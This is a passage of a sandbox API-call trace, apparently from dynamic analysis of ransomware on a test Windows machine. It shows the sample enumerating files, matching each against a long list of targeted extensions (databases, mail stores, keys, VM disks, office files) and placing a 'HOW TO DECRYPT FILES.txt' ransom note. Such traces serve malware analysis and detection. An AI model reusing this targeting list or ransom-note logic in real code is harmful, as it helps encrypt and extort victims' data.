HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.mov") returned 0 [0091.115] lstrlenA (lpString="*.mov") returned 5 [0091.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.xdw") returned 0 [0091.115] lstrlenA (lpString="*.xdw") returned 5 [0091.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.ods") returned 0 [0091.115] lstrlenA (lpString="*.ods") returned 5 [0091.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.wav") returned 0 [0091.115] lstrlenA (lpString="*.wav") returned 5 [0091.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.mp3") returned 0 [0091.115] lstrlenA (lpString="*.mp3") returned 5 [0091.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.aiff") returned 0 [0091.115] lstrlenA (lpString="*.aiff") returned 6 [0091.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.flac") returned 0 [0091.115] lstrlenA (lpString="*.flac") returned 6 [0091.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.m4a") returned 0 [0091.115] lstrlenA (lpString="*.m4a") returned 5 [0091.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp", pszSpec="*.csv") returned 0 [0091.116] lstrlenA (lpString="*.csv") returned 5 [0091.116] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36f2660, ftCreationTime.dwHighDateTime=0x1d5e298, ftLastAccessTime.dwLowDateTime=0xd54c6d90, ftLastAccessTime.dwHighDateTime=0x1d5e140, ftLastWriteTime.dwLowDateTime=0xd54c6d90, ftLastWriteTime.dwHighDateTime=0x1d5e140, nFileSizeHigh=0x0, nFileSizeLow=0x5ec8, dwReserved0=0x440020, dwReserved1=0x430045, cFileName="ztvKTGDJ0jEn-uyj4.gif", cAlternateFileName="ZTVKTG~1.GIF")) returned 1 [0091.116] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0091.116] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ztvKTGDJ0jEn-uyj4.gif") returned -1 [0091.116] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ztvKTGDJ0jEn-uyj4.gif") returned -1 [0091.116] lstrcmpiA (lpString1="", lpString2="ztvKTGDJ0jEn-uyj4.gif") returned -1 [0091.116] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\TEA6ZGznfT Uaa8.bmp") returned="TEA6ZGznfT Uaa8.bmp" [0091.116] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\" [0091.116] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\") returned="" [0091.116] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\HOW TO DECRYPT FILES.txt" [0091.116] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\how to decrypt files.txt")) returned 0x20 [0091.116] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\", lpString2="ztvKTGDJ0jEn-uyj4.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif" [0091.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.ems") returned 0 [0091.116] lstrlenA (lpString="*.ems") returned 5 [0091.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.db") returned 0 [0091.116] lstrlenA (lpString="*.db") returned 4 [0091.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.dbf") returned 0 [0091.117] lstrlenA (lpString="*.dbf") returned 5 [0091.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.myox") returned 0 [0091.117] lstrlenA (lpString="*.myox") returned 6 [0091.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.myo") returned 0 [0091.117] lstrlenA (lpString="*.myo") returned 5 [0091.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.qbw") returned 0 [0091.117] lstrlenA (lpString="*.qbw") returned 5 [0091.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.qbb") returned 0 [0091.117] lstrlenA (lpString="*.qbb") returned 5 [0091.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.qbm") returned 0 [0091.117] lstrlenA (lpString="*.qbm") returned 5 [0091.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.qbo") returned 0 [0091.117] lstrlenA (lpString="*.qbo") returned 5 [0091.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.qbx") returned 0 [0091.117] lstrlenA (lpString="*.qbx") returned 5 [0091.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.qba") returned 0 [0091.117] lstrlenA (lpString="*.qba") returned 5 [0091.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.qby") returned 0 [0091.118] lstrlenA (lpString="*.qby") returned 5 [0091.118] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.qbj") returned 0 [0091.118] lstrlenA (lpString="*.qbj") returned 5 [0091.118] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.ofx") returned 0 [0091.118] lstrlenA (lpString="*.ofx") returned 5 [0091.118] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.qif") returned 0 [0091.118] lstrlenA (lpString="*.qif") returned 5 [0091.118] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.mye") returned 0 [0091.118] lstrlenA (lpString="*.mye") returned 5 [0091.118] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.mbox") returned 0 [0091.118] lstrlenA (lpString="*.mbox") returned 6 [0091.118] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.eml") returned 0 [0091.118] lstrlenA (lpString="*.eml") returned 5 [0091.118] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.pst") returned 0 [0091.118] lstrlenA (lpString="*.pst") returned 5 [0091.118] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.ost") returned 0 [0091.118] lstrlenA (lpString="*.ost") returned 5 [0091.118] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.idx") returned 0 [0091.118] lstrlenA (lpString="*.idx") returned 5 [0091.118] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.dbx") returned 0 [0091.118] lstrlenA (lpString="*.dbx") returned 5 [0091.118] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.sql") returned 0 [0091.119] lstrlenA (lpString="*.sql") returned 5 [0091.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.mdb") returned 0 [0091.119] lstrlenA (lpString="*.mdb") returned 5 [0091.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.fdb") returned 0 [0091.119] lstrlenA (lpString="*.fdb") returned 5 [0091.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.wab") returned 0 [0091.119] lstrlenA (lpString="*.wab") returned 5 [0091.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.dat") returned 0 [0091.119] lstrlenA (lpString="*.dat") returned 5 [0091.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.txt") returned 0 [0091.119] lstrlenA (lpString="*.txt") returned 5 [0091.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.jpeg") returned 0 [0091.119] lstrlenA (lpString="*.jpeg") returned 6 [0091.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.jpg") returned 0 [0091.119] lstrlenA (lpString="*.jpg") returned 5 [0091.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.png") returned 0 [0091.119] lstrlenA (lpString="*.png") returned 5 [0091.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.php") returned 0 [0091.119] lstrlenA (lpString="*.php") returned 5 [0091.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.cs") returned 0 [0091.119] lstrlenA (lpString="*.cs") returned 4 [0091.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.cpp") returned 0 [0091.119] lstrlenA (lpString="*.cpp") returned 5 [0091.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.rar") returned 0 [0091.119] lstrlenA (lpString="*.rar") returned 5 [0091.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.zip") returned 0 [0091.120] lstrlenA (lpString="*.zip") returned 5 [0091.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.html") returned 0 [0091.120] lstrlenA (lpString="*.html") returned 6 [0091.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.htm") returned 0 [0091.120] lstrlenA (lpString="*.htm") returned 5 [0091.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.xlsx") returned 0 [0091.120] lstrlenA (lpString="*.xlsx") returned 6 [0091.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.xls") returned 0 [0091.120] lstrlenA (lpString="*.xls") returned 5 [0091.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.mp4") returned 0 [0091.120] lstrlenA (lpString="*.mp4") returned 5 [0091.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.ppt") returned 0 [0091.120] lstrlenA (lpString="*.ppt") returned 5 [0091.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.pptx") returned 0 [0091.120] lstrlenA (lpString="*.pptx") returned 6 [0091.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.doc") returned 0 [0091.120] lstrlenA (lpString="*.doc") returned 5 [0091.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.dot") returned 0 [0091.120] lstrlenA (lpString="*.dot") returned 5 [0091.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.docx") returned 0 [0091.120] lstrlenA (lpString="*.docx") returned 6 [0091.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.7z") returned 0 [0091.120] lstrlenA (lpString="*.7z") returned 4 [0091.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.tar") returned 0 [0091.120] lstrlenA (lpString="*.tar") returned 5 [0091.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.bz2") returned 0 [0091.121] lstrlenA (lpString="*.bz2") returned 5 [0091.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.gz") returned 0 [0091.121] lstrlenA (lpString="*.gz") returned 4 [0091.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.mkv") returned 0 [0091.121] lstrlenA (lpString="*.mkv") returned 5 [0091.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.eml") returned 0 [0091.121] lstrlenA (lpString="*.eml") returned 5 [0091.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.msg") returned 0 [0091.121] lstrlenA (lpString="*.msg") returned 5 [0091.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.edb") returned 0 [0091.121] lstrlenA (lpString="*.edb") returned 5 [0091.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.accdb") returned 0 [0091.121] lstrlenA (lpString="*.accdb") returned 7 [0091.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.odb") returned 0 [0091.121] lstrlenA (lpString="*.odb") returned 5 [0091.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.java") returned 0 [0091.121] lstrlenA (lpString="*.java") returned 6 [0091.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.asm") returned 0 [0091.121] lstrlenA (lpString="*.asm") returned 5 [0091.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.pfx") returned 0 [0091.121] lstrlenA (lpString="*.pfx") returned 5 [0091.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.pem") returned 0 [0091.121] lstrlenA (lpString="*.pem") returned 5 [0091.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.p12") returned 0 [0091.121] lstrlenA (lpString="*.p12") returned 5 [0091.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.gpg") returned 0 [0091.121] lstrlenA (lpString="*.gpg") returned 5 [0091.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.vsd") returned 0 [0091.121] lstrlenA (lpString="*.vsd") returned 5 [0091.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.odg") returned 0 [0091.121] lstrlenA (lpString="*.odg") returned 5 [0091.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.raw") returned 0 [0091.122] lstrlenA (lpString="*.raw") returned 5 [0091.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.nef") returned 0 [0091.122] lstrlenA (lpString="*.nef") returned 5 [0091.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.svg") returned 0 [0091.122] lstrlenA (lpString="*.svg") returned 5 [0091.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.psd") returned 0 [0091.122] lstrlenA (lpString="*.psd") returned 5 [0091.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.vmx") returned 0 [0091.122] lstrlenA (lpString="*.vmx") returned 5 [0091.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.vmdk") returned 0 [0091.122] lstrlenA (lpString="*.vmdk") returned 6 [0091.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.vdi") returned 0 [0091.122] lstrlenA (lpString="*.vdi") returned 5 [0091.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.lay6") returned 0 [0091.122] lstrlenA (lpString="*.lay6") returned 6 [0091.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.mpeg") returned 0 [0091.122] lstrlenA (lpString="*.mpeg") returned 6 [0091.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 